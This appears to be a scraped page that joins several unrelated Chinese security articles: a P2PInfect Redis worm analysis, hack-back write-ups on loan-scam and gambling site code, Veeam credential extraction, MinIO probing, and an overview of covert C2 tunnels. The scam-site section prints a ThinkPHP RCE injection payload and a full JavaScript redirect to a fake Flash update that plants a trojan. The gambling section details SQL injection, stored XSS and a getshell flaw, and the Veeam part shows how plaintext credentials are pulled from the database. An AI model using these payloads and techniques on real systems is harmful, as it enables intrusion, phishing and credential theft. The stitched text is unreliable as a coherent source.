HireHackking

2023年7月11日，Unit 42研究人員發現了一種新的對等（P2P）蠕蟲，研究人員將其稱之為P2PInfect。對等網絡，即對等計算機網絡，是一種在對等者（Peer）之間分配任務和工作負載的分佈式應用架構，是對等計算模型在應用層形成的一種組網或網絡形式。 “Peer”在英語裡有“對等者、夥伴、對端”的意義。因此，從字面上，P2P（Peer-to-peer）可以理解為對等計算或對等網絡。該蠕蟲使用Rust編寫，Rust是一種高度可擴展且對雲友好的編程語言，能夠跨平台攻擊，並針對Redis，這是一種在雲環境中大量使用的流行開源數據庫應用程序。 Redis實例可以在Linux和Windows操作系統上運行。 Unit 42的研究人員在過去兩週內發現了超過30.7萬個公開通信的獨特Redis系統，其中934個可能容易受到這種P2P蠕蟲變體的攻擊。雖然並非所有Redis實例都會受到攻擊，但蠕蟲仍然會以這些系統為目標並試圖進行攻擊。 P2PInfect蠕蟲通過利用Lua沙盒逃逸漏洞CVE-2022-0543攻擊易受攻擊的Redis實例。雖然該漏洞於2022年被披露，但目前尚不完全清楚其攻擊範圍和目標。然而，它的CVSS得分10.0。此外，P2PInfect利用Redis服務器在Linux和Windows操作系統上運行的優勢，比其他惡意軟件更具可擴展性。 Unit 42研究人員觀察到的P2P蠕蟲是攻擊者利用該漏洞進行嚴重攻擊的一個示例。 P2PInfect利用CVE-2022-0543進行初始訪問，然後釋放建立P2P通信的初始有效負載。一旦建立了P2P連接，蠕蟲就會刪除其他惡意二進製文件，如操作系統特定的腳本和掃描軟件。然後，受攻擊的實例加入P2P網絡，以向未來受攻擊的Redis實例提供對其他有效負載的訪問。 以這種方式利用CVE-2022-0543使P2PInfect蠕蟲在雲容器環境中更有效地運行和傳播。 Unit 42的研究人員就是在HoneyCloud環境中發現蠕蟲的，因為它攻擊了HoneyCloud環境中的Redis容器實例，HoneyCloud是一組蜜罐，用來識別和研究跨公共雲環境的新型基於雲的攻擊。研究人員認為，這次P2P攻擊活動是利用這種強大的P2P命令和控制(C2)網絡的潛在更強大的攻擊的第一階段。 P2PInfect的惡意工具包中存在“挖礦”功能。然而，研究人員沒有發現任何確切的證據表明曾經發生過挖礦。此外，P2P網絡似乎擁有多種C2功能，如“自動更新”，這將允許P2P網絡的控制器將新的有效負載推送到網絡中，從而改變和增強任何惡意操作的性能。 Unit 42於2023年7月11日使用Palo Alto Networks的HoneyCloud環境發現了第一個已知的P2PInfect實例，這是一組蜜罐。 P2PInfect蠕蟲使用P2P網絡來支持和促進惡意二進製文件的傳輸。我們之所以選擇這個名稱，是因為術語P2PInfect出現在洩露的符號中，反映了惡意軟件的結構，如下圖所示。 Windows版本、名稱和Redis模塊的建構 所有收集到的P2P蠕蟲樣本都是用Rust編寫的，Rust是一種高度可擴展且對雲友好的編程語言。這使得蠕蟲能夠針對Linux和Windows操作系統上的Redis實例進行跨平台攻擊，請注意，Redis不正式支持Windows操作系統。 該蠕蟲使用CVE-2022-0543攻擊Redis。針對該特定漏洞的首次攻擊於2022年3月被發現，導致受攻擊的Redis實例可能與Muhstik殭屍網絡有關。然而，P2PInfect蠕蟲似乎與另一個惡意網絡有關，目前還不知道與Muhstik殭屍網絡是否有關。 通過利用Lua漏洞進行初始攻擊後，執行初始有效負載，該初始有效負載建立與更大的C2殭屍網絡的P2P通信，該殭屍網絡充當P2P網絡，用於向未來攻擊的Redis實例傳播其他有效負載。一旦建立了P2P連接，蠕蟲就會傳播額外的有效負載，例如掃描儀。然後，新攻擊的實例加入P2P網絡的行列，為未來受攻擊的Redis實例提供掃描有效負載。 P2PInfect利用CVE-2022-0543在雲容器環境中實施攻擊。容器的功能減少了，例如，取消了“cron”服務。許多利用Redis的蠕蟲使用cron服務實現遠程代碼執行（RCE）。 P2PInfect結合了CVE-2022-0543的漏洞，旨在覆蓋盡可能多的易受攻擊場景，包括雲容器環境。 由於P2PInfect蠕蟲是新發現的，我們在這裡重點進行樣本分析及其支持的P2P架構。 利用CVE-2022-0543P2PInfect目前利用Lua沙盒逃逸漏洞CVE-2022-0543進行初始訪問。此漏洞已在Muhstik和Redigo等以前的攻擊中被使用，這兩種攻擊都導致受攻擊的Redis實例參與針對其他系統的拒絕服務（DoS）、Flooding攻擊和暴力攻擊。 這種利用向量遵循與之前所看到的類似的模式。然而，P2PInfect的漏洞利用後操作與以前使用該漏洞的操作有很大不同。需要注意的是，此漏洞不是Redis應用程序漏洞，而是Lua沙盒漏洞。 雖然這個活動確實針對易受攻擊的Redis實例並執行類似蠕蟲的操作，但與其他已知的以Redis為目標並部署蠕蟲的組織沒有已知的聯繫，例如Automated Libra(又名PurpleUrchin)， Adept Libra(又名TeamTNT)， Thief Libra(又名WatchDog)， Money Libra(又名Kinsing)， Aged Libra(又名Rocke)或Returned Libra(又名8220)。 P2PInfect如何利用CVE-2022-0543攻擊易受攻擊的Redis實例P2PInfect蠕蟲的初始攻擊媒介就是通過CVE-2022-0543利用Redis，這在已知的以Redis實例為目標的其他以加密劫持為任務的蠕蟲中並不常見，例如Adept Libra（又名TeamTnT）、Thief Libra（別名WatchDog）、Money Libra（又稱Kinsing）。 CVE-2022-0543是Lua庫中的一個漏洞，與Debian Linux包管理打包和傳播Redis的方式有關。因此，它只影響使用Debian的Redis用戶。由於專注於操作系統並利用Redis的一個子組件進行攻擊，P2PInfect的攻擊因此很複雜。下圖是捕獲的CVE-2022-0543漏洞的一個示例。 Debian操作系統上的P2PInfect漏洞利用示例 如上圖所示，可以看到漏洞是如何被攻擊者利用的。通過/dev/tcp使用網絡請求，如第四行所示，攻擊者通過端口60100連接到一個C2 IP地址，寫入IP cnc。端口60100是P2PInfect用於維護C2通信的P2P通信端口之一。第四行中的初始有效負載將GET請求設置到目錄/linux，該目錄是維護P2PInfect蠕蟲核心功能的主要滴管。其他二進製文件分佈在P2P網絡中。 網絡通信行為P2PInfect使用其P2P網絡向新攻擊的系統或云傳播後續惡意軟件。當系統首次受到攻擊時，它將建立到P2P網絡的連接，並下載要使用的自定義協議的樣本。如下圖所示，命令GET/linux之後是核心P2PInfect功能的映像下載。 顯示P2PInfect下載的網絡通信協議 Linux和Windows操作系統P2PInfect示例以相同的方式進行通信。 linux、miner、winminer和windows以明文形式從P2P網絡下載。 從P2P網絡中提取的惡意軟件樣本的列表 一旦核心P2PInfect樣本完成執行，有效負載將開始掃描其他主機以進行攻擊。掃描的重點是暴露的Redis主機。然而，研究人員還發現，受攻擊的Redis實例也會在端口22 SSH上執行掃描嘗試。由於P2PInfect沒有已知的攻擊SSH的企圖，目前還不清楚為什麼會發生這種掃描操作，但端口22在被其他已知蠕蟲攻擊後被掃描並不罕見。 節點通信主滴管使用TLS 1.3與當前已配置節點列表上的任何其他偵聽P2P成員進行通信。當受攻擊節點向P2P網絡發送具有所有已知節點的json請求時，C2基礎設施被更新。 C2基礎設施的更新將自動下載。節點更新的示例如下圖所示。 P2P節點更新 帶有x.x.x.x的值是當前節點IP或新學習的節點。 掃描行為下圖展示了受攻擊主機掃描暴露SSH實例的網絡掃描過程。這些掃描操作發生在P2PInfect功能選擇的隨機網絡範圍內。 掃描SSH實例 下圖是對暴露的Redis實例的P2PInfect掃描操作。 掃描Redis實例 P2PInfect的其他觀察結果一些發送到被攻擊系統的初始有效負載p2p樣本包含UPX，而第二階段的惡意軟件樣本miner和winminer沒有包含UPX。 在第一個滴管運行後，它開始解密從命令行接收的配置，以及關於P2P網絡中其他節點的信息。我們發現P2P端口是可變的，這有利於攻擊者發起攻擊。 P2PInfect的可變端口示例 Unit 42研究人員發現的所有樣本都是用Rust編寫的，有些樣本內部有“洩露的符號”，這可以顯示惡意軟件開發者的項目結構。例如，windows示例主執行線程洩露了項目的名稱以及攻擊者的文件目錄使用情況。 從核心Windows P2PInfect樣本中提取的分析 研究人員還發現了一個PowerShell腳本，用於在受感染的主機和P2P網絡之間建立和維護通信。 PowerShell腳本利用encode命令來混淆通信啟動。 混淆PowerShell命令建立P2P網絡連接 PowerShell命令執行的第一個操作之一是配置本地系統防火牆，以阻止對受攻擊Redis應用程序的合法訪問（見下圖的第五行）。然後（從圖11中的第17行開始），腳本打開一個通信端口，供攻擊者訪問受攻擊實例。這是持久性攻擊的一種形式，允許攻擊者保持對受感染主機的訪問並保持其可操作性。 修改被攻擊Windows實例的網絡流量規則 從解碼的PowerShell中可以看出防火牆配置設置如下： 對等端口為60102，此端口是可變的，因為並非所有節點都使用相同的端口； Redis端口6379只允許連接已知的C2 IP； 防火牆規則名為Microsoft Sync； 監控進程在Windows操作系統中運行時，初始P2PInfect負載的另一個有趣功能是一個名為Monitor的進程。 Monitor進程的作用是維護受攻擊主機上運行的P2PInfect進程的功能。 Monitor被轉儲到C:\Users\username\AppData\Local\Temp\cmd.exe，Monitor (cmd.exe)枚舉系統運行進程的示例如下所示： P2PInfect監控器示例cmd.exe進程樹 啟動Monitor（cmd.exe）後，初始P2PInfect負載從P2P網絡下載其自身的新版本，並將它們以隨機名稱保存到相同原始文件夾中，然後釋放加密配置（.conf）。 隨機文件名的示例 執行新的P2PInfect下載版本，並啟動掃描操作以查找其他易受攻擊的Redis實例。初始P2PInfect滴管將嘗試刪除自己。 刪除核心P2PInfect有效負載 總結P2PInfect蠕蟲功能複雜設計先進，其中的關鍵是使用Rust語言，具備了靈活性功能，允許蠕蟲在多個操作系統中快速傳播。 設計和構建P2P網絡來執行惡意軟件的自動傳播，在雲目標或加密劫持領域並不常見。同時，研究人員認為它的目的是在多個平台上攻擊和支持盡可能多的Redis易受攻擊的實例。 研究人員在多個地理區域的HoneyCloud平台上捕獲了幾個樣本，認為P2P節點的數量正在增長。這是由於潛在目標的數量非常多，在過去兩週內，超過30.7萬個Redis實例公開通信，另外，蠕蟲能夠在不同地區危害研究人員的多個Redis蜜罐。目前，研究人員還沒有估計存在多少節點，也沒有估計與P2PInfect相關的惡意網絡的增長速度。 研究人員建議組織監控所有Redis應用程序，包括本地應用程序和雲環境中的應用程序，以確保它們在/tmp目錄中不包含隨機文件名。此外，DevOps人員應持續監控其Redis實例，以確保其維護合法操作和網絡訪問。所有Redis實例也應更新到其最新版本，或更新到redis/5:6.0.16-1+deb11u2, redis/5:5.0.14-1+deb10u2, redis/5:6.0.16-2 and redis/5:7.0~rc2-2。

0x00 概述 某天，一位网上朋友告诉笔者，他被骗了。被骗方式很独特，因为自己没钱所以选择贷款，在贷款过程中惨遭诈骗。 诈骗短信： 0x01诈骗过程 （此处受害者用小辉代替） 某日，小辉手机收到一条关于网络贷款的短信，恰逢月底，捉襟见肘，小辉没忍住诱惑下载打开了app。注册好账号，填写好身份证号、手持、工作地点、家人信息等后申请了20000元贷款，但是迟迟没到账，小辉询问客服得知：亲，这边申请贷款需要先缴纳688的VIP费用哦，缴纳后VIP费用会连同贷款金额一起打款到您的银行卡账户。小辉想了想，也不亏，于是将下个月房租开通了VIP待遇。 小辉开通了VIP待遇，以为就能顺利贷款度过月底，但是还是没收到贷款金额以及VIP费用。这次客服主动联系小辉，"您的信用额度不够，需要再刷流水3500元，请缴纳现金证明还款能力，缴纳后费用会连同贷款金额一起打款到您的银行卡账户"。 小辉急了，眼看着下个月房租没着落了，咬咬牙找朋友借了3500元再次打给客服提供的银行卡号，心想，这次你总没什么借口了吧！20000块钱，拿来吧你！小辉已经想好贷款下来两万块如何吃喝玩乐了～～～ 可是幸运女神还是没有照顾小辉，客服再次联系小辉，称已经审批成功即将下款，但是还需要支付3000的工本费用，且费用会连同贷款金额一起打款到银行卡账户，小辉傻眼了，紧接着，客服将后台生成的虚假的合同发送给了小辉。 小辉急了，自己就贷个款而已，却损失了几千块钱还要上征信，关键贷款的钱还没到手！小辉眼看着事情越闹越大，找到了我，经过小辉的一番描述，我查看了小辉手机上的贷款软件，无奈的告诉小辉，你被骗了，钱要不回来了。小辉此刻也愣住了，流下来悔恨的泪水...... ps：以上仅为诈骗真实过程，所有细节旁白均为本人添油加醋。笔者也就此对市面上两款常见诈骗源码进行简单分析并将其记录。 0x02 漏洞分析1.第一套源码漏洞分析 (1) Thinkphp日志泄漏 基于Thinkphp3.2.3开发，前后台分离 默认开启Debug、导致泄漏日志SQL信息、异常缓存 构造Payload：App/Runtime/Logs/21_10_16.log 获取泄漏的admin表账号密码,进入后台 (2) 数组可控导致RCE可上传文件名被直接带入数据包中 此处猜测后端将文件名以数组的方式进行控制（在拿到webshell后也证明了这个猜想是正确的） 将可上传的文件名加入php，随后上传拿到Webshell 查看对应配置文件，发现可上传后缀名是在数组当中，此处还可以利用插入闭合数组进行Getshell payload：siteName=11111').phpinfo();// 来看看后端如何处理的,因为return array的原因 必须加上字符串连接符"." 再登陆后台查看Payload是否执行 2.第二套源码漏洞分析(1)客服处Websocket-XSS笔者能力有限，第二套诈骗贷款源码疑似一键搭建，均采用最新版宝塔+宝塔免费版WAF，在权限获取方面不足，转而向客服处寻找突破点 前台： 找到客服入口，上传图片，会转到通过websocket上传的数据包 修改websocket数据包，构造XSS Cookie Get 三.客服系统控制/PC控制3.1控制数据库登陆mysql数据库查看诈骗嫌疑人登陆IP 杭州的电信基站动态IP，判断是家庭路由，暂无溯源价值。 0x03 控制客服系统第一套诈骗源码的客服系统使用的是网上在线客服系统 在后台翻到了客服的后台登陆地址，前端显示账号存在or密码错误，无奈账号没爆破成功。 随即笔者自己注册了该客服系统，通过adminid配合uid遍历SetCookie，越权成功，拿到客服账号。 中文账号== 爆破拿到密码 登陆客服后台 整个诈骗话术链 与受害人聊天记录 0x04 使用flash钓鱼在控制诈骗app服务器权限后，笔者使用flash钓鱼试图控制诈骗团伙个人PC。 在后台登陆成功后跳转的文件插入跳转js 跳转到事先准备好的假的flash更新页面 事先准备：免杀马一只 flash假域名一个(最好是包含有"flash"的字样) <script>window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};alert("您的FLASH版本过低，请尝试升级后访问改页面!");window.location.href="https://www.flashxxxx.com";</script> 效果： 输入账号密码后登录，此时加载以上JavaScript。 点击"确认"跳转到事先伪造的flash更新页面网站，诱导下载点击。 但是最后并未上线，通过日志发现诈骗团伙是登陆了该后台的，此处也算是一个小遗憾。 0x05 总结 网贷诈骗类案件的典型特征是，犯罪嫌疑人以“无抵押无审核”为噱头招揽需要贷款的被害人，并以“账户冻结需做解冻”才能完成放款等名义收取保证金，又以保险费、激活费、服务费等名义再次收费。被害人为了收回之前缴纳的钱款，只能按照犯罪嫌疑人为被害人设计的整个流程，完成转款，导致被害人钱款被骗。一些急需用钱的个体经营者、消费观念超前的上班族、大学生等人群是易受骗群体。 诈骗者不仅仅将罪恶之手伸向了香港、台湾，甚至是国外...... 据分析，这群诈骗团伙在巴西也进行了相同方式的诈骗，且使用的诈骗源码为以上分析第一套源码。 500余名巴西受害者。 天网恢恢，疏而不漏！所有行恶之人必将受到法律之严惩！ 转载于原文链接： https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247502166&idx=1&sn=3fe78999b5b43a059e66975dd185b3cc&chksm=ce6463cff913ead9c3a448d7466b7c38ed593a709918265283387ad4bb787292bdd2979e7d64&scene=21#wechat_redirecthttps://xz.aliyun.com/t/10391

0x00 前言本文以CVE-2023-27532為例，介紹Veeam Backup Replication漏洞調試環境的搭建方法。 0x01 簡介本文將要介紹以下內容： 環境搭建 調試環境搭建 數據庫憑據提取 CVE-2023-27532簡要分析 0x02 環境搭建1.軟件安裝安裝文檔：https://helpcenter.veeam.com/archive/backup/110/vsphere/install_vbr.html 軟件下載地址：https://www.veeam.com/download-version.html License申請地址：https://www.veeam.com/smb-vmware-hyper-v-essentials-download.html 下載得到iso文件，安裝時需要使用郵箱獲得的License文件 2.默認目錄安裝目錄：C:\Program Files\Veeam\ 日誌路徑：C:\ProgramData\Veeam\Backup 3.默認端口Veeam.Backup.Service ports: 9392,9401(SSL) Veeam.Backup.ConfigurationService port: 9380 Veeam.Backup.CatalogDataService port: 9393 Veeam.Backup.EnterpriseService port：9394 Web UI ports: 9080,9443(SSL) RESTful API ports: 9399,9398(SSL) 0x03 調試環境搭建1.定位進程執行命令：netstat -ano |findstr 9401 返回結果： 定位到進程pid為7132，進程名稱為Veeam.Backup.Service.exe 使用dnSpy Attach到進程Veeam.Backup.Service.exe 2.調試設置為了在Debug過程中能夠查看變量內容，需要創建以下文件： C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.ini C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.DBManager.ini C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.ServiceLib.ini C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Interaction.MountService.ini 內容為： 0x04 數據庫憑據提取1.獲得數據庫連接配置(1)獲得數據庫連接端口 打開SQL Server 2016 Configuration Manager，選擇SQL Server Services，可以看到SQL Server(VEEAMSQL2016)對應的Process ID為1756，如下圖 查看進程對應的端口：netstat -ano|findstr 1756 返回結果： 得到連接端口49720 (2)獲得數據庫名稱 方法1： 進入Configuration Database Connection Settings，在頁面中可以看到Database name為VeeamBackup，認證方式為Windows Authentication，如下圖 方法2: 讀取註冊表鍵值：REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Veeam\Veeam Backup and Replication' /v SqlDatabaseName 2.數據庫連接(1)使用界面程序 這裡使用DbSchema 選擇SqlServer，配置如下圖 成功連接如下圖 數據庫選擇VeeamBackup.dbo，進入數據庫頁面，全局搜索關鍵詞password，得到相關的查詢語句： 執行後獲得數據庫存儲的憑據信息，如下圖 (2)使用Powershell 參考資料：https://github.com/sadshade/veeam-creds veeam-creds在Veeam Backup and Replication 11及更高版本測試時會報錯，提示： 這是因為https://github.com/sadshade/veeam-creds/blob/main/Veeam-Get-Creds.ps1#L32處使用了sqloledb，當前系統的sqloledb已經過期 這裡可以選擇使用MSOLEDBSQL或MSOLEDBSQL19解決 查看當前系統是否安裝MSOLEDBSQL或MSOLEDBSQL19的Powershell命令：(New-Object System.Data.OleDb.OleDbEnumerator).GetElements() | select SOURCES_NAME, SOURCES_DESCRIPTION 返回結果示例： 以上結果顯示當前系統安裝了MSOLEDBSQL19，所以只需要將sqloledb替換為MSOLEDBSQL19即可 補充：安裝MSOLEDBSQL或MSOLEDBSQL19的方法下載地址：https://learn.microsoft.com/en-us/sql/connect/oledb/download-oledb-driver-for-sql-server?source=recommendationsview=sql-server-ver16 命令行安裝方法：msiexec /i msoledbsql.msi /qn IACCEPTMSOLEDBSQLLICENSETERMS=YES 安裝前需要滿足Microsoft Visual C++ Redistributable版本最低為14.34 查看Microsoft Visual C++ Redistributable版本的簡單方法： 通過文件夾名稱獲得：dir /o:-d 'C:\ProgramData\Package Cache' 返回結果示例： 從中可以得出Microsoft Visual C++ Redistributable版本為14.29.30037，需要安裝更高版本的Microsoft Visual C++ Redistributable，下載地址：https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170 x86和x64均需要安裝，veeam-creds運行成功如下圖 0x05 CVE-2023-27532簡要分析Y4er公佈了調用CredentialsDbScopeGetAllCreds獲得明文憑據的POC:https://y4er.com/posts/cve-2023-27532-veeam-backup-replication-leaked-credentials/ 1.憑據位置此處的明文憑據對應的位置為：Veeam Backup Replication Console-Manage Credentials，默認明文口令為空，如下圖 調試斷點位置為Veeam.Backup.DBManager.dll-CCredentialsDbScope，如下圖 2.數據解析POC最終的返回結果為序列化之後的xml，將ParamValue作Base64解密後可以看到明文數據，但是格式不對，存在亂碼 這裡可以調用Veeam自帶的dll反序列化數據，得到正確的格式 格式化輸出字符串的代碼示例： 需要引用dll文件： Veeam.Backup.Common.dll Veeam.Backup.Configuration.dll Veeam.Backup.Interaction.MountService.dll Veeam.Backup.Logging.dll Veeam.Backup.Model.dll Veeam.Backup.Serialization.dll Veeam.TimeMachine.Tool.dll 編譯生成的文件需要在本地安裝Veeam的環境下使用，否則報錯提示： 程序成功執行的結果示例如下圖 0x06 小結本文以CVE-2023-27532為例，介紹搭建Veeam Backup Replication漏洞調試環境的相關問題和解決方法。

0x00 前言本文將要介紹Minio版本探測的方法，通過Python實現自動化，記錄開發細節，開源代碼。 0x01 簡介本文將要介紹以下內容： 實現思路 實現細節 開源代碼 0x02 基礎知識MinIO是一款基於Go語言發開的高性能、分佈式的對象存儲系統。 Minio可以做為雲存儲的解決方案用來保存海量的圖片，視頻，文檔。由於採用Go語言實現，服務端可以工作在Windows,Linux, OS X 和FreeBSD上，並且只需要單獨的可執行程序就可以運行。 在Windows上的環境搭建可參考：https://min.io/docs/minio/windows/index.html 1.下載最新版本：https://dl.min.io/server/minio/release/windows-amd64/minio.exe 歷史版本：https://dl.min.io/server/minio/release/windows-amd64/archive/ 歷史版本在下載後將文件後綴名添加.exe，運行即可 2.啟動服務命令行參數：minio.exe server C:\minio --console-address :9090 3.Web訪問URL地址：http://127.0.0.1:9090 默認用戶名：minioadmin 默認口令：minioadmin 0x03 實現思路Minio的版本探測需要登錄到Web後台 訪問位置：Health頁面，如下圖 從頁面中可以看到當前版本以及節點和存儲的信息 在程序實現上，我們可以通過抓包的方式分析認證過程，具體內容如下： 1.登錄訪問地址：http://127.0.0.1:9090/api/v1/login 通過json格式傳入認證信息，具體內容如下： 登錄成功後返回狀態碼204，在Header中添加Cookie: token=xxxx作為憑據 2.讀取版本信息訪問地址：http://127.0.0.1:9090/api/v1/admin/info 需要帶有Cookie: token=xxxx作為憑據 返回結果為json格式，如下圖 補充：獲得Minio的最新版本訪問地址：http://127.0.0.1:9090/api/v1/check-version 0x04 實現細節1.登錄這裡需要考慮一個問題：默認端口被修改的情況 在用程序實現自動化時，通常會使用端口9000，但存在端口被修改為9001的情況，也存在很少一部分將端口修改為其他不常見的端口 如果端口錯誤，會返回狀態碼400，返回內容示例： 所以在程序實現上這裡可以添加一個判斷：當使用默認端口9000時，如果返回特定條件，提示端口錯誤，接下來嘗試端口9001，如果再次失敗，提示修改默認端口 完整示例代碼： 2.讀取版本信息返回結果為json格式，結果示例： 這裡存在多個servers的情況，所以在解析時需要使用遍歷，示例代碼如下： 0x05 開源代碼完整的實現代碼已上傳至github，地址如下：https://github.com/3gstudent/Homework-of-Python/blob/master/MinIO_GetVersion.py 代碼支持以下兩種命令: getversin:用來獲得版本信息 getinfo：用來獲得完整信息 0x06 小結本文介紹了Minio版本探測的方法，結合實際環境介紹了通過Python開發的細節，開源代碼。

1、概述在攻防演練期間，經過信息蒐集、打點後，部分攻擊者利用漏洞攻擊、釣魚等方式成功獲得內網資產的控制權，為了保證對失陷資產的持續控制與後續擴大戰果的需要，攻擊者會上傳木馬運行，在失陷資產與外部控制端之間建立持續的通信信道。然而，在企業網絡邊界上通常部署了大量的網絡防護和監測設備，因此，攻擊者為了躲避流量監測設備的發現，會對其使用的命令與控制信道使用各種隱藏手段，如加密、編碼、偽裝、利用隱蔽隧道等。 2、攻防演練場景資產失陷後常見加密流量我們可以將攻防演練場景中，內部資產失陷後常見的加密流量總結為兩大類：正向CC加密通道和反彈CC加密通道。 正向的CC加密通道，主要是HTTP/HTTPS的Webshell連接和正向HTTP隧道代理；反彈CC加密通道包括：TLS/SSL木馬回連以及各種隱蔽隧道通信。 能夠在內外網之間構建加密CC通道的工具有很多，有的工具小巧且專業，能夠搭建某一種加密信道並靈活配置，如：dns2cat，icmptunnel等；有的則具備平台級的強大功能，可以生成具備多種加密隧道的攻擊載荷，如：CobaltStrike，MSF等；另外，還可以組合隧道工具與平台級攻擊載荷在極端條件下實現命令與控制，如：利用代理轉發工具、隧道工具上線CS等，下面是一些攻擊類型與攻擊工具的梳理： 2.1正向CC加密通道马云惹不起马云 HTTP/HTTPS Webshell連接 通常，針對Web服務的漏洞利用成功後，攻擊者會上傳Webshell，如：冰蠍、哥斯拉、蟻劍等。這些Webshell即能在失陷的Web服務器與攻擊者之間維持命令執行通道，又能用來上傳具有更強大功能的平台級木馬。隨著Web服務的全面加密化，Webshell的通信經過了HTTPS加密，即使能夠解密HTTPS流量，其HTTP載荷中也會經過二次加密和編碼，盡可能不暴露明文特徵，給流量檢測帶來很大挑戰，去年攻防演練第一天更新上線的冰蠍4.0版本，臨時增加可自定義的加密通信方式，給防守方帶來了一波突然襲擊，讓人記憶猶新。 往期回顧：冰蠍4.0 https://www.viewintech.com/html/articledetails.html?newsId=20 马云惹不起马云HTTP隧道正向代理 當攻擊者想要訪問的內網資產無法出網時，可以通過在失陷的邊界資產搭建HTTP隧道正向代理的方式，中轉訪問內網資產，常見工具包括reDuh，neo-regeorg等，其原理如下圖： 2.2反彈CC加密通道马云惹不起马云TLS/SSL木馬回連 出入企業網絡邊界最常見的加密協議是TLS/SSL，其廣泛應用於Web服務、郵件服務、文件傳輸、移動APP等應用領域，可以保護用戶通信數據的機密性和完整性。因此，大量攻擊者同樣通過TLS/SSL構建自己的惡意CC加密通信信道，特別是網絡邊界設備通常不對出網的TLS/SSL流量做攔截，失陷資產上的木馬可以通過這種方式將自己的流量混在大量訪問網絡正常應用的TLS/SSL加密流量中，神不知鬼不覺的與外網控制端維持CC通信，這類工具或木馬比較常見的像CobaltStrike、Sliver等，高水平的攻擊者還會使用諸如：域前置、CDN、雲函數等CC隱匿技術，進一步隱藏自己的流量和控制端信息。 攻擊者在構建真實的TLS/SSL加密CC信道時，由於SSL證書的購買和認證需要填寫真實身份信息，且價格不低，導致攻擊者會傾向於使用免費或自簽名證書，從而為檢測提供線索。於是，有些攻擊者使用Fake TLS或Shadow TLS的技術，利用知名網站的證書將其木馬CC通信的流量偽裝成與白站的通信，再將自己實現的加密通信協議隱藏在TLS/SSL加密載荷中，從而做到逃避檢測。 马云惹不起马云隱蔽隧道 在2022年攻防演練中，我們發現多起利用DNS隧道和ICMP隧道作為隱蔽信道的加密CC通信事件，是最有代表性的隱蔽隧道通信方式。 DNS隧道DNS是互聯網上重要的域名服務，主要用於域名與IP地址的相互轉換，因此，在企業網絡中DNS流量通常不會被防火牆、入侵檢測系統、安全軟件等一般安全策略阻擋。攻擊者利用這一特點使用DNS協議作為內外網之間通信的隱蔽信道，在攻防演練場景下常見的DNS隧道原理大致如下圖所示： 攻擊者攻陷內網資產後，植入木馬，木馬使用DNS協議中的子域名加密編碼隱藏信息，並發出DNS請求查詢；內網DNS服務器將查詢轉發到互聯網DNS服務器，通常網絡監測設備捕獲的是位於這一段鏈路上的流量；外網DNS服務器經過遞歸查詢重定向到偽造的DNS服務器，解析隱蔽傳輸的信息後利用DNS響應包返回控制命令；DNS響應包穿透網絡邊界最終返回到內網受控資產；受控資產上的木馬解析響應包中的控制命令，繼續後續攻擊動作。 ICMP隧道類似的，ICMP協議作為網絡中傳遞控制信息的常見重要協議，往往限制較少或不加限制，所以攻擊方在攻入內網後也可能使用ICMP協議的載荷數據（Data）部分隱蔽的進行控制指令或竊密數據的傳輸，這些被傳輸的內容大多數進行了加密保護。 如下圖所示，利用ICMP回顯請求和響應包（PING）載荷隱蔽實現CC通信。 其他隧道除此以外，利用應用層常見協議HTTP、SSH的隱蔽隧道，利用TCP、UDP載荷實現自定義協議的TCP、UDP隧道，或者支持多種隧道通信的各種代理轉發工具，也是攻擊者較常使用的隱蔽CC通信手段，他們在不同的網絡環境下，都具有穿透網絡邊界隱蔽傳輸數據的能力。在某些內網目標不能出網的環境，攻擊者還可以組合使用各種隱蔽隧道、代理轉發手段，來間接上線CS、MSF木馬，實現遠程控制。 3、總結隨著近年來，加密流量在攻防對抗中的使用頻率越來越高，針對攻防演練場景下的加密流量威脅，特別是資產失陷後的加密CC通信的檢測，可以說是守護企業網絡的最後一道防線。觀成科技多年來專注於加密流量威脅檢測技術研究，形成了一套綜合利用多模型機器學習、指紋檢測、行為檢測、加密威脅情報的解決方案，對各種不同類型的加密威脅進行有針對性的檢測。在2022年的攻防演練中，觀成瞰雲-加密威脅智能檢測系統首次參與即有亮眼發揮，多次獨家檢出攻擊失陷階段的加密CC通信行為，做到及時發現，及時預警，為客戶最大程度減少損失做出貢獻。

0x00 前言随着菠菜类违法站点的肆虐，让无数人妻离子散。为此，献上一份微薄之力，希望能给“有关部门”提供一些帮助。今天给大家表演的是收割BC天恒盛达。 0x01 程序介绍程序采用PHP5.4 + MySQL 程序结构如下 基本上目前做此类违法站点的不法分子，除了外包以外就是天恒、大发几套程序模改的。暂时，这边由于技术水平上面的问题，只能够发出天恒的。版本可能有点老。但是，一大部分还是用的。经某位不愿透露自己姓名的网友4月中旬实测，大约70%的存在这些问题，而使用这套程序的违法站点经过半个小时的采集大约在5000~20000左右。 0x02 漏洞详情1、money - SQL注入 web\wjaction\default\PayOnlineBack.class.php 继续跟进money，此处为GET获取，接着看条件 条件展示，第一个为Key验证，这个在配置文件里。如果Key错误则表示所有订单都无法生效。也就是说Key肯定是在URL请求内，这个验证即可绕过。 继续看条件，这里是生成一个MD5值进行校验。但是这种校验是有缺陷的，此处并未把key的值带入进去。所以我们直接提交的时候，把$tno.$payno.$money都设为空。那么我们将获取$md5key的MD5值。因为$sign在URL中能展示出来。解密后，我们再按照他的验证机制就可以写脚本，进行注入了。 往下继续看，交易号随机来就行了。 继续看，最后一个验证。这里的用户名肯定是真实的，所以这里的验证就算是废掉了 接下来，根据前面的分析，就可以注入了。最重要的一点就是猜解出md5Key的值。 2、订单信息 - 存储XSS 订单信息 -> 用户名 在默认支付提交表单的地方，前台and后台未经过滤就导致了XSS存储型漏洞 3、后台无验证 - Getshell lib/classes/googleChart/markers/GoogleChartMapMarker.php 任意代码执行漏洞，google变量通过GET获取数据接着就执行，比较低级的问题我就不写代码部分了。（此漏洞并不高效，大约30%几率） 0x03 总结 